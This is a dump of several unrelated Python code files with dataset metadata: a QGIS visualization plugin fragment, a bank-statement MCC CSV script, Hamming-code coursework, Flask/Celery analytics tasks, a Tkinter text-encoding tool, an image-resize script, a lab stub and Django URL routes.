style_profile.validation_scenes_sld\n\n self.add_raster_layer(layer_name, raster_path, sld)\n else:\n errors = True\n Log.log_warning(\"Cannot load raster at {}\".format(raster_uri))\n else:\n errors = True\n Log.log_warning(\"Training Scenes do not exist in this workflow.\")\n\n if self.options.training_labels:\n gt_labels_uri = scene_data.ground_truth_label_uri\n if gt_labels_uri:\n gt_labels_path = self.get_local_path(gt_labels_uri)\n if gt_labels_path:\n gt_layer = self.iface.addVectorLayer(\n gt_labels_path, 'training-ground-truth-' + id, 'ogr')\n if self.style_profile and self.style_profile.validation_labels_sld:\n gt_layer.loadSldStyle(self.style_profile.validation_labels_sld)\n else:\n class_field = self.get_class_field(gt_labels_uri)\n renderer = self.make_vector_renderer(gt_layer, class_field, class_items)\n gt_layer.setRenderer(renderer)\n else:\n errors = True\n Log.log_warning(\"Cannot load GeoJSON at {}\".format(gt_labels_uri))\n else:\n errors = True\n Log.log_warning(\"Training Labels do not exist in this workflow.\")\n\n # Valdation Data\n for id, scene_data in experiment_files.validation_set.items():\n if self.options.validation_scenes:\n if scene_data.raster_uris:\n for raster_uri in scene_data.raster_uris:\n raster_path = self.get_local_path(raster_uri)\n if raster_path:\n fname = os.path.splitext(os.path.basename(raster_path))[0]\n layer_name = \"validation-scene-{}_{}\".format(fname, id)\n sld = None\n if self.style_profile and self.style_profile.validation_scenes_sld:\n sld = style_profile.validation_scenes_sld\n\n self.add_raster_layer(layer_name, raster_path, sld)\n else:\n Log.log_warning(\"Cannot load raster at {}\".format(raster_uri))\n else:\n errors = True\n Log.log_warning(\"Validation Scenes do not exist in this workflow.\")\n\n\n if self.options.validation_labels:\n gt_labels_uri = scene_data.ground_truth_label_uri\n if gt_labels_uri:\n gt_labels_path = self.get_local_path(gt_labels_uri)\n if gt_labels_path:\n gt_layer = self.iface.addVectorLayer(\n gt_labels_path, 'valiation-ground-truth-' + id, 'ogr')\n if self.style_profile and self.style_profile.validation_labels_sld:\n gt_layer.loadSldStyle(self.style_profile.validation_labels_sld)\n else:\n class_field = self.get_class_field(gt_labels_uri)\n renderer = self.make_vector_renderer(gt_layer, class_field, class_items)\n gt_layer.setRenderer(renderer)\n else:\n errors = True\n Log.log_warning(\"Cannot load GeoJSON at {}\".format(gt_labels_uri))\n else:\n errors = True\n Log.log_warning(\"Validation Labels do not exist in this workflow.\")\n\n if self.options.validation_predictions:\n pr_label_uri = scene_data.prediction_uri\n if pr_label_uri:\n pr_labels_path = self.get_local_path(pr_label_uri)\n if pr_labels_path:\n pr_layer = self.iface.addVectorLayer(\n pr_labels_path, 'validation-predictions-' + id, 'ogr')\n if self.style_profile and self.style_profile.validation_predictions_sld:\n pr_layer.loadSldStyle(self.style_profile.validation_predictions_sld)\n else:\n class_field = self.get_class_field(pr_labels_uri)\n renderer = self.make_vector_renderer(gt_layer, class_field, class_items)\n pr_layer.setRenderer(renderer)\n else:\n errors = True\n Log.log_warning(\"Cannot load GeoJSON at {}\".format(pr_label_uri))\n else:\n errors = True\n Log.log_warning(\"Validation Predictions do not exist in this workflow.\")\n\n\n # Prediction Data\n for id, scene_data in experiment_files.prediction_set.items():\n if self.options.prediction_scenes:\n if scene_data.raster_uris:\n for raster_uri in scene_data.raster_uris:\n raster_path = self.get_local_path(raster_uri)\n if raster_path:\n fname = os.path.splitext(os.path.basename(raster_path))[0]\n layer_name = \"prediction-scene-{}_{}\".format(fname, id)\n sld = None\n if self.style_profile and self.style_profile.prediction_scenes_sld:\n sld = style_profile.prediction_scenes_sld\n\n self.add_raster_layer(layer_name, raster_path, sld)\n else:\n Log.log_warning(\"Cannot load raster at {}\".format(raster_uri))\n else:\n errors = True\n Log.log_warning(\"Prediction Scenes do not exist in this workflow.\")\n\n if self.options.prediction_predictions:\n pr_label_uri = scene_data.prediction_uri\n if pr_label_uri:\n pr_labels_path = self.get_local_path(pr_label_uri)\n if pr_labels_path:\n pr_layer = self.iface.addVectorLayer(\n pr_labels_path, 'predictions-' + id, 'ogr')\n if self.style_profile and self.style_profile.prediction_predictions_sld:\n pr_layer.loadSldStyle(self.style_profile.prediction_predictions_sld)\n else:\n class_field = self.get_class_field(pr_labels_uri)\n renderer = self.make_vector_renderer(gt_layer, class_field, class_items)\n pr_layer.setRenderer(renderer)\n else:\n errors = True\n Log.log_warning(\"Cannot load GeoJSON at {}\".format(pr_label_uri))\n else:\n errors = True\n Log.log_warning(\"Predictions do not exist in this workflow.\")\n\n self.iface.zoomToActiveLayer()\n\n return errors\n\n def viz_workflow(self):\n self.clear_layers()\n\n workflow = self.load_json(self.workflow_uri)\n if not workflow:\n Log.log_error(\"Cannot load workflow at {}\".format(self.workflow_uri))\n return True\n\n Log.log_info(\"Loading experiment form workflow at {}\".format(self.workflow_uri))\n\n experiment_files = ExperimentFiles.from_workflow_config(workflow, self.rv_root)\n\n eval_uri = os.path.join(\n self.rv_root, 'rv-output', 'raw-datasets', workflow['raw_dataset_key'],\n 'datasets', workflow['dataset_key'], 'models', workflow['model_key'],\n 'predictions', workflow['prediction_key'], 'evals',\n workflow['eval_key'], 'output', 'eval.json')\n\n self.dump_eval(eval_uri)\n\n return self.viz_scenes(workflow, experiment_files)\n","sub_path":"viz_workflow.py","file_name":"viz_workflow.py","file_ext":"py","file_size_in_byte":13710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"249725593","text":"#!/usr/local/bin/python3\n# -*- coding: utf8 -*-\n'''\nScript for transfer MCC codes from «Tinkoff» statement of account to CSV base.\n'''\n\nimport argparse\nimport csv\nimport yaml\n\n\narg_parser = argparse.ArgumentParser()\narg_parser.add_argument(\n '-p',\n '--preview',\n help='Preview changes without save to file',\n action='store_true')\nargs = arg_parser.parse_args()\n\n# Load configuration\nwith open('config.yml', encoding='utf-8') as cfg:\n config = yaml.load(cfg)\n\n# Load MCC codes from csv base\nwith open('mcc.csv', encoding='utf-8') as mcc_file:\n mcc_list = csv.reader(mcc_file, delimiter=';')\n\n mcc = {}\n for row in mcc_list:\n mcc[row[0]] = row\n\n# Load MCC codes from tinkoff statement and update codes from base\nwith open(\n 'in/' + config['files']['tinkoff']['name'],\n encoding='cp1251') as tinkoff:\n has_header = csv.Sniffer().has_header(tinkoff.read(1024))\n tinkoff.seek(0)\n\n rows = csv.reader(tinkoff, delimiter=';')\n if has_header:\n next(rows)\n\n rows = [[row[9], row[10]] for row in rows]\n for row in rows:\n if row[1].strip() == '':\n continue\n if row[1] in mcc.keys() and len(mcc[row[1]]) == 3:\n if mcc[row[1]][2] != row[0]:\n mcc[row[1]][2] = row[0]\n print('updated\\t\\t{0}: {1}'.format(row[1], row[0]))\n else:\n mcc[row[1]] = [row[1], '', row[0]]\n print('added\\t\\t{0}: {1}'.format(row[1], row[0]))\n\n# Normalize strings\nmcc_list = []\nfor code in sorted(mcc.keys()):\n if len(mcc[code]) == 3:\n for f, t in config['mcc']['replace'].items():\n if f in mcc[code][2]:\n mcc[code][2] = mcc[code][2].replace(f, t)\n\n if config['mcc']['capitalize']:\n mcc[code][2] = mcc[code][2].capitalize()\n\n mcc_list.append(mcc[code])\n\n# Save\nif not args.preview:\n with open('mcc.csv', 'w', encoding='utf-8') as mcc_file:\n writer = csv.writer(mcc_file, delimiter=';')\n writer.writerows(mcc_list)\n","sub_path":"tinkoff-to-mcc.py","file_name":"tinkoff-to-mcc.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"522661553","text":"\n\n# Q1\n\n\ndef message(a):\n # defined above question in coursework\n # binary value of length\n # then vector a\n # then top-up up to length k of 0s\n length = len(a)\n if length < 1:\n return []\n\n r = 2\n\n while 2**r - 2*r - 1 < length:\n r += 1\n\n binaryVal = []\n\n for i in range(r-1, -1, -1):\n if length % 2**i < length:\n\n binaryVal.append(1)\n length -= 2**i\n\n else:\n binaryVal.append(0)\n\n k = 2**r - r - 1\n newMessage = binaryVal\n\n for i in a:\n newMessage.append(i)\n\n length = len(newMessage)\n\n for i in range(length, k):\n newMessage.append(0)\n\n return newMessage\n\n\n# Q2\n\n\ndef hammingEncoder(m):\n\n length = len(m)\n r = 2\n\n # calculated small allowed lengths:\n # 1, 4, 11, 26, 57\n\n while 2**r - r - 1 < length:\n r += 1\n\n if 2**r - r - 1 != length:\n return []\n\n\n matrix = hammingGeneratorMatrix(r)\n\n # multiply matrix m by hamming matrix matrix\n return vectorMatrixMulti(m, matrix)\n\n\n# Q3\n\n\ndef hammingDecoder(v):\n # find r, then\n # find H transpose - binary numbers up to 2**r\n r = 2\n length = len(v)\n while 2**r - 1 < length:\n r += 1\n\n if 2**r - 1 != length:\n return []\n\n # calculate H transpose\n HT = []\n for x in range(1, 2**r):\n tempArray = []\n tempX = x\n for i in range(r-1, -1, -1):\n if tempX % 2**i < tempX:\n\n tempArray.append(1)\n tempX -= 2**i\n\n else:\n tempArray.append(0)\n\n HT.append(tempArray)\n\n # multiply incoming vector with H transpose\n E = vectorMatrixMulti(v, HT)\n # change this number from binary into whole number\n binVal = 0\n for i in range(r - 1, -1, -1):\n binVal += E[i] * (2 ** (r - i - 1))\n # if the whole number is bigger than 0, flip the bit\n if binVal > 0:\n v[binVal-1] = (v[binVal-1] + 1) % 2\n\n return v\n\n\n# Q4\n\n\ndef messageFromCodeword(c):\n # remove bits in places of power of 2\n length = len(c)\n r = 2\n while 2**r - 1 < length:\n r += 1\n\n if 2**r - 1 != length:\n return []\n\n answer = []\n for i in range(0, len(c)):\n\n if not ((i+1) & i):\n # power of 2 check\n continue\n\n else:\n answer.append(c[i])\n\n return answer\n\n\n# Q5\n\n\ndef dataFromMessage(m):\n # reverse of making message\n # therefore first find r, then find the binary value in first r places\n # then the message is the next binary value places\n # the remaining section is the buffer and should include only 0s\n length = len(m)\n r = 2\n while 2**r - r - 1 < length:\n r += 1\n\n if 2**r - r - 1 != length:\n return []\n\n binVal = 0\n for i in range(r-1, -1, -1):\n\n binVal += m[i] * (2**(r-i-1))\n\n if binVal > len(m[r:]):\n return []\n elif 1 in m[binVal+r:]:\n return []\n\n return m[r:binVal+r]\n\n\n# Q6\n\n\ndef repetitionEncoder(m, n):\n # repeat vector m, n times\n if len(m) != 1:\n return []\n return m*n\n\n\n# Q7\n\n\ndef repetitionDecoder(v):\n # find majority of bits ie is it 1 or 0 or equal\n totalOnes = v.count(1)\n totalZeroes = len(v)-totalOnes\n\n if totalZeroes != v.count(0):\n return[]\n elif totalOnes > totalZeroes:\n return [1]\n elif totalOnes < totalZeroes:\n return [0]\n elif totalOnes == totalZeroes:\n return []\n\n# vector multiplied with matrix function\n\n\ndef vectorMatrixMulti(vector, matrix):\n answer = []\n\n if len(vector) != len(matrix):\n\n return []\n\n for i in range(len(matrix[0])):\n\n for x in range(len(vector)):\n\n try:\n answer[i] = (answer[i] + vector[x] * matrix[x][i]) % 2\n except IndexError:\n answer.append((vector[x] * matrix[x][i]) % 2)\n\n return answer\n\n\n# function HammingG\n# input: a number r\n# output: G, the generator matrix of the (2^r-1,2^r-r-1) Hamming code\ndef hammingGeneratorMatrix(r):\n n = 2 ** r - 1\n\n # construct permutation pi\n pi = []\n for i in range(r):\n pi.append(2 ** (r - i - 1))\n for j in range(1, r):\n for k in range(2 ** j + 1, 2 ** (j + 1)):\n pi.append(k)\n\n # construct rho = pi^(-1)\n rho = []\n for i in range(n):\n rho.append(pi.index(i + 1))\n\n # construct H'\n H = []\n for i in range(r, n):\n H.append(decimalToVector(pi[i], r))\n\n # construct G'\n GG = [list(i) for i in zip(*H)]\n for i in range(n - r):\n GG.append(decimalToVector(2 ** (n - r - i - 1), n - r))\n\n # apply rho to get G tranpose\n G = []\n for i in range(n):\n G.append(GG[rho[i]])\n\n # transpose\n G = [list(i) for i in zip(*G)]\n\n return G\n\n\n# function decimalToVector\n# input: numbers n and r (0 <= n<2**r)\n# output: a string v of r bits representing n\ndef decimalToVector(n, r):\n v = []\n for s in range(r):\n v.insert(0, n % 2)\n n //= 2\n return v\n\n","sub_path":"Error correcting codes/ErrorCorrectingCodes.py","file_name":"ErrorCorrectingCodes.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"279326617","text":"# coding: utf-8\nfrom __future__ import absolute_import\nfrom flask import Flask\nfrom math import sqrt\nfrom datetime import datetime, timedelta\nimport json\nimport os\nimport operator\nfrom dc.celery import app\nfrom datetime import date, timedelta\nfrom .models import init_models\nfrom .models import db, Topic, Question, Answer, UserTopicStatistic, UpvoteAnswer, RelevantTopic, QuestionTopic\nfrom config import load_config\n\nconfig = load_config()\nflask_app = Flask(__name__)\nflask_app.config.from_object(config)\ninit_models(flask_app)\n\n\n@app.task\ndef count():\n \"\"\"统一各模型的count类字段\"\"\"\n with flask_app.app_context():\n for topic in Topic.query:\n topic.all_questions_count = topic.all_questions.count()\n topic.questions_count = topic.questions.count()\n db.session.add(topic)\n db.session.commit()\n\n\n@app.task\ndef calculate_user_topic_statistic():\n \"\"\"计算用户在话题下的统计数据\"\"\"\n with flask_app.app_context():\n for topic_statistic in UserTopicStatistic.query:\n topic_id = topic_statistic.topic_id\n user_id = topic_statistic.user_id\n answers_count = []\n upvotes_count = []\n today = date.today()\n\n for i in xrange(0, 7):\n target_day = today - timedelta(days=i)\n answer_count = Answer.query. \\\n filter(Answer.user_id == user_id,\n Answer.question.has(Question.topics.any(Topic.id == topic_id)),\n db.func.date(Answer.created_at) == target_day).count()\n answers_count.insert(0, answer_count)\n\n upvote_count = UpvoteAnswer.query. \\\n filter(UpvoteAnswer.user_id == user_id,\n UpvoteAnswer.answer.has(Answer.question.has(Question.topics.any(Topic.id == topic_id))),\n db.func.date(UpvoteAnswer.created_at) == target_day).count()\n upvotes_count.insert(0, upvote_count)\n\n topic_statistic.week_answers_count = json.dumps(answers_count)\n topic_statistic.week_upvotes_count = json.dumps(upvotes_count)\n topic_statistic.calculate_week_score()\n db.session.add(topic_statistic)\n\n db.session.commit()\n\n\n@app.task\ndef relevant_topics():\n \"\"\"计算每个话题的相关话题\"\"\"\n with flask_app.app_context():\n for topic in Topic.query:\n map(db.session.delete, topic.relevant_topics)\n\n relevant_topics = {}\n for question in topic.questions:\n for _topic in question.question.topics.filter(QuestionTopic.topic_id != topic.id):\n if _topic.topic.merge_to_topic_id:\n continue\n if _topic.topic_id in relevant_topics:\n relevant_topics[_topic.topic_id] += 1\n else:\n relevant_topics[_topic.topic_id] = 0\n\n relevant_topics = sorted(relevant_topics.items(), key=operator.itemgetter(1))\n relevant_topics.reverse()\n for relevant_topic_id, score in relevant_topics:\n relevant_topic = RelevantTopic(topic_id=topic.id, relevant_topic_id=relevant_topic_id, score=score)\n db.session.add(relevant_topic)\n db.session.commit()\n\n\n@app.task\ndef calculate_hot_topics():\n \"\"\"计算热议话题\"\"\"\n with flask_app.app_context():\n for topic in Topic.query:\n # 过去一分钟内该话题下的新问题\n new_questions_count = topic.questions.filter(\n Question.created_at >= (datetime.now() - timedelta(minutes=1))).count()\n\n # 过去一��钟内该话题下的新回答\n new_answers_count = topic.answers.filter(\n Answer.created_at >= (datetime.now() - timedelta(minutes=1))).count()\n\n current_value = new_questions_count + new_answers_count\n\n faz = FazScore(0.8, topic.avg, topic.sqrt_avg)\n topic.hot_score = faz.score(current_value)\n\n faz.update(current_value)\n topic.avg = faz.avg\n topic.sqrt_avg = faz.sqrt_avg\n\n db.session.add(topic)\n db.session.commit()\n\n\n@app.task\ndef calculate_fantastic_answers():\n \"\"\"计算精彩回答\"\"\"\n with flask_app.app_context():\n for answer in Answer.query.filter(~Answer.anonymous, ~Answer.hide):\n if answer.upvotes_count >= 1:\n answer.fantastic = True\n db.session.add(answer)\n db.session.commit()\n\n\nclass FazScore(object):\n \"\"\"\n 计算标准分数,见:\n\n http://stackoverflow.com/questions/787496/what-is-the-best-way-to-compute-trending-topics-or-tags\n \"\"\"\n\n def __init__(self, decay, avg, sqrt_avg):\n self.decay = decay\n self.avg = avg\n self.sqrt_avg = sqrt_avg\n\n def update(self, value):\n # Set initial averages to the first value in the sequence.\n if self.avg == 0 and self.sqrt_avg == 0:\n self.avg = float(value)\n self.sqrt_avg = float((value ** 2))\n # Calculate the average of the rest of the values using a\n # floating average.\n else:\n self.avg = self.avg * self.decay + value * (1 - self.decay)\n self.sqrt_avg = self.sqrt_avg * self.decay + (value ** 2) * (1 - self.decay)\n return self\n\n def std(self):\n # Somewhat ad-hoc standard deviation calculation.\n return sqrt(self.sqrt_avg - self.avg ** 2)\n\n def score(self, obs):\n if self.std() == 0:\n return obs - self.avg\n else:\n return (obs - self.avg) / self.std()\n","sub_path":"dc/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"142028125","text":"from django.urls import path\nfrom .import views\n\nurlpatterns = [\n \n path('property/', views.category, name='category'),\n path('property/', views.buyPage, name='buy'),\n path('detail/edit/', views.edit, name='edit'),\n path('detail//', views.detailPage, name='detail'),\n path('detail/delete//', views.deletePage, name='delete'),\n path('sell/', views.addPage, name='add'),\n path('property/rate//', views.rating, name='property.rating'),\n path('recommendation/',views.collaborative,name='collaborative'),\n \n \n]","sub_path":"image/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"473803731","text":"# coding:utf-8\n\n# date:2018.01.18\n# author:sweird\n# 基于python3.6\n# 说明:主要完成一个GUI文本处理工具。支持URL编解码、字符串转十六进制、1970年到现在的秒数和当前时间的转,Base64编解码暂未实现。\n# 本代码参考:https://www.cnblogs.com/chenyuebai/p/7150382.html\n\nimport tkinter as tk\nimport hashlib\nimport time\n\nimport urllib.parse\n\nimport binascii\n\nLOG_LINE_NUM = 0\n\n\nclass MY_GUI():\n def __init__(self, init_window_name):\n self.init_window_name = init_window_name\n\n def set_init_window(self):\n # 设置父窗口属性\n self.init_window_name.title(\"文本处理工具\")\n self.init_window_name.geometry('800x550+500+50') # x是字母X,不是乘号。290 160为窗口大小,+10 +10 定义窗口弹出时的默认展示位置\n # self.init_window_name[\"bg\"] = \"pink\" #设置背景颜色。其它颜色可参考:blog.csdn.net/chl0000/article/details/7657887\n self.init_window_name.attributes(\"-alpha\", 0.9) # 虚化 值越小虚化程度越高\n\n # 设置标签\n self.init_data_label = tk.Label(self.init_window_name, text=\"待处理数据\")\n self.init_data_label.grid(row=0, column=0)\n self.init_data_label = tk.Label(self.init_window_name, text=\"输出结果\")\n self.init_data_label.grid(row=0, column=12)\n\n # 设置输入输出文本框\n self.init_data_Text = tk.Text(self.init_window_name, width=50, height=30)\n self.init_data_Text.grid(row=1, column=0, rowspan=10, columnspan=10) # rowspan 行宽\n self.result_data_Text = tk.Text(self.init_window_name, width=50, height=39)\n self.result_data_Text.grid(row=1, column=12, rowspan=15, columnspan=10)\n # 设置日志输出文本框\n self.log_data_Text = tk.Text(self.init_window_name, width=50, height=9)\n self.log_data_Text.grid(row=13, column=0, columnspan=10)\n\n # 滚动条\n self.result_data_scrollbar_y = tk.Scrollbar(self.init_window_name) # 创建纵向滚动条\n self.result_data_scrollbar_y.config(command=self.result_data_Text.yview) # 将创建的滚动条通过command参数绑定到需要拖动的Text上\n self.result_data_Text.config(yscrollcommand=self.result_data_scrollbar_y.set) # Text反向绑定滚动条\n self.result_data_scrollbar_y.grid(row=1, column=23, rowspan=15, sticky='NS')\n\n # 按钮\n self.url_encode_button = tk.Button(self.init_window_name, text=\"url编码\", bg=\"lightblue\", width=10,\n command=self.url_encode_process)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.url_encode_button.grid(row=2, column=11)\n\n self.url_decode_button = tk.Button(self.init_window_name, text=\"url解码\", bg=\"lightblue\", width=10,\n command=self.url_decode_process)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.url_decode_button.grid(row=3, column=11)\n\n self.unicode_enc_button = tk.Button(self.init_window_name, text=\"Unicode编码\", bg=\"lightblue\", width=10,\n command=self.unicode_enc_process)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.unicode_enc_button.grid(row=4, column=11)\n\n self.Base64_enc_button = tk.Button(self.init_window_name, text=\"Base64编码\", bg=\"lightblue\", width=10,\n command=self.Base64_enc_process)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.Base64_enc_button.grid(row=4, column=11)\n\n self.Base64_dec_button = tk.Button(self.init_window_name, text=\"Base64解码\", bg=\"lightblue\", width=10,\n command=self.Base64_dec_process)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.Base64_dec_button.grid(row=5, column=11)\n\n self.str_trans_to_md5_button = tk.Button(self.init_window_name, text=\"字符串转MD5\", bg=\"lightblue\", width=10,\n command=self.str_trans_to_md5)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.str_trans_to_md5_button.grid(row=6, column=11)\n\n self.str_trans_to_hex_button = tk.Button(self.init_window_name, text=\"字符串转十六进制\", bg=\"lightblue\", width=10,\n command=self.str_trans_to_hex)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.str_trans_to_hex_button.grid(row=6, column=11)\n\n self.str_trans_to_hex_button = tk.Button(self.init_window_name, text=\"1970ToFormat\", bg=\"lightblue\", width=10,\n command=self.seconds_from1970_to_time)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.str_trans_to_hex_button.grid(row=7, column=11)\n\n self.str_trans_to_hex_button = tk.Button(self.init_window_name, text=\"formatTo1970\", bg=\"lightblue\", width=10,\n command=self.formatTo1970)\n # 其中的command指定当按钮被点击时调用的事件处理函数。\n self.str_trans_to_hex_button.grid(row=8, column=11)\n\n self.init_window_name.mainloop() # 父窗口进入事件主循环。\n\n # 获取当前时间\n def get_current_time(self):\n current_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))\n return current_time\n\n # 日志实时打印\n def write_log_to_Text(self, logmsg):\n global LOG_LINE_NUM\n current_time = self.get_current_time()\n logmsg_in = str(current_time) + \" \" + str(logmsg) + \"\\n\"\n if LOG_LINE_NUM <= 7:\n self.log_data_Text.insert(tk.END, logmsg_in)\n LOG_LINE_NUM = LOG_LINE_NUM + 1\n else:\n self.log_data_Text.delete(1.0, 2.0)\n self.log_data_Text.insert(tk.END, logmsg_in)\n\n def str_trans_to_md5(self):\n src = self.init_data_Text.get(1.0, tk.END).strip().replace(\"\\n\", \"\").encode()\n # get(1.0, tk.END)代表将文本框从第一行删除至最后一行,即清空\n # encode()把str类型转换为bytes()类型\n # print(src)\n\n if src:\n try:\n myMD5 = hashlib.md5()\n myMD5.update(src)\n myMD5_Digest = myMD5.hexdigest()\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, myMD5_Digest)\n self.write_log_to_Text(\"INFO:str_trans_to_md5 success\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"字符串转MD5失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n # url编码\n def url_encode_process(self):\n src = self.init_data_Text.get(1.0, tk.END).strip().replace(\"\\n\", \"\")\n if src:\n try:\n url_result = urllib.parse.quote(src)\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, url_result)\n self.write_log_to_Text(\"INFO:URL编码转换成功 success\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"URL编码失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n # url解码\n def url_decode_process(self):\n src = self.init_data_Text.get(1.0, tk.END).strip().replace(\"\\n\", \"\")\n if src:\n try:\n url_result = urllib.parse.unquote(src)\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, url_result)\n self.write_log_to_Text(\"INFO:URL解码转换成功 success\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"URL解码失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n # unicode编码\n def unicode_enc_process(self):\n self.write_log_to_Text(\"unicode编码功能暂未实现。\")\n\n # unicode解码\n def unicode_dec_process(self):\n self.write_log_to_Text(\"unicode解码功能暂未实现。\")\n\n # Base64编码\n def Base64_enc_process(self):\n self.write_log_to_Text(\"Base64编码功能暂未实现。\")\n\n # Base64解码\n def Base64_dec_process(self):\n self.write_log_to_Text(\"Base64解码功能暂未实现。\")\n\n def str_trans_to_hex(self):\n src = self.init_data_Text.get(1.0, tk.END).strip().replace(\"\\n\", \"\").encode()\n if src:\n try:\n hex_result = binascii.b2a_hex(src)\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, hex_result)\n self.write_log_to_Text(\"INFO:字符串转十六进制成功\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"字符串转十六进制失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n def seconds_from1970_to_time(self):\n src = self.init_data_Text.get(1.0, tk.END).strip()\n if src:\n try:\n time_src_len = len(src)\n if (time_src_len == 13):\n # 1970年至今的毫秒数,共13位数字s\n s = src[0:-3]\n ms = src[-3:]\n format_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(s))) + \" \" + ms + \"毫秒\"\n elif (time_src_len == 10):\n # 1970年至今的秒数,共10位数字\n format_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(int(src)))\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, format_time)\n self.write_log_to_Text(\"INFO:时间转换成功\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"时间转换失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n def formatTo1970(self):\n tss1 = self.init_data_Text.get(1.0, tk.END).strip()\n if tss1:\n try:\n tm = time.strptime(tss1, '%Y-%m-%d %H:%M:%S')\n timeArray = time.strptime(tss1, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = int(time.mktime(timeArray))\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1.0, timeStamp)\n self.write_log_to_Text(\"INFO:时间转换成功\")\n except:\n self.result_data_Text.delete(1.0, tk.END)\n self.result_data_Text.insert(1, 0, \"时间转换失败\")\n else:\n self.write_log_to_Text(\"输入是空的。\") # 显示在日志输出框中\n\n\ndef gui_start():\n init_window = tk.Tk() # 实例化父窗口\n MY_GUI(init_window).set_init_window()\n\n init_window.mainloop()\n\n\nif __name__ == '__main__':\n gui_start()\n","sub_path":"tools/text_process.py","file_name":"text_process.py","file_ext":"py","file_size_in_byte":11568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"39697673","text":"import os\nimport sys\nfrom PIL import Image\n\ndef resize(folder, fileName):\n filePath = os.path.join(folder, fileName)\n im = Image.open(filePath)\n size = 400, 400\n im.thumbnail(size, Image.ANTIALIAS)\n outPath = os.path.splitext(filePath)[0]\n print(outPath)\n im.save(outPath+\"_400.jpg\")\n os.remove(filePath) #remove file after thumbnail created\n\n\ndef bulkResize(imageFolder):\n imgExts = [\"png\", \"bmp\", \"jpg\"]\n for path, dirs, files in os.walk(imageFolder):\n for fileName in files:\n ext = fileName[-3:].lower()\n if ext not in imgExts:\n continue\n\n resize(path, fileName)\n\nif __name__ == \"__main__\":\n imageFolder=\"C://Users//StSmith//Documents//GitHub//crossing-inspection//thumb//CrossingPhotosbyID400\" # first arg is path to image folder\n bulkResize(imageFolder)\n\n# Inspirations:\n# http://stackoverflow.com/questions/273946/how-do-i-resize-an-image-using-pil-and-maintain-its-aspect-ratio\n# http://stackoverflow.com/questions/1048658/resize-images-in-directory\n","sub_path":"script/pyRotateResize400.py","file_name":"pyRotateResize400.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"501544139","text":"#\n# PUT YOUR NAME HERE\n#\n\n# add appropriate imports here\n\nt_init = 0\nt_end = 10\nN_times = 1000\n\ntime = np.linspace(t_init, t_end, num=N_times)\n\n# So that we can multiply the array of times by two dimensinoal vectors\n# later.\ntime = time.reshape(N_times, 1)\n\n\ndef plot_motion_of_masses(x, time, title='bad title'):\n \"\"\"\n Function to make a plot of motion of masses as a function of time. The time\n should be on the vertical axis and the position on the horizontal axis.\n\n Parameters\n ----------\n\n x : array of position, N_times by 2 elements\n The array of positions, set up so that x[:, 0] is the position of mass\n 1 relative to equilibrium and x[:, 1] is the position of mass 2.\n\n time : array of times\n Times at which the positions have been calculated.\n\n title : str\n A descriptive title for the plot to make grading easier.\n \"\"\"\n # Nothing special about these, but they look nice\n x1_equilibrium_pos = 3\n x2_equilibrium_pos = 6\n\n x1 = x[:, 0] + x1_equilibrium_pos\n x2 = x[:, 1] + x2_equilibrium_pos\n\n plt.plot(x1, time, label='Mass 1')\n plt.plot(x2, time, label='Mass 2')\n plt.xlim(0, 9)\n plt.legend()\n plt.title(title)\n\n\n## YOU FILL IN THE REST!\n\n","sub_path":"lab07.py","file_name":"lab07.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"627219165","text":"from django.conf.urls import url\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom request_rest_api import api\n\nurlpatterns = [\n\n url(r'^$', api.api_root),\n url(r'^requests/$', api.RequestList.as_view(), 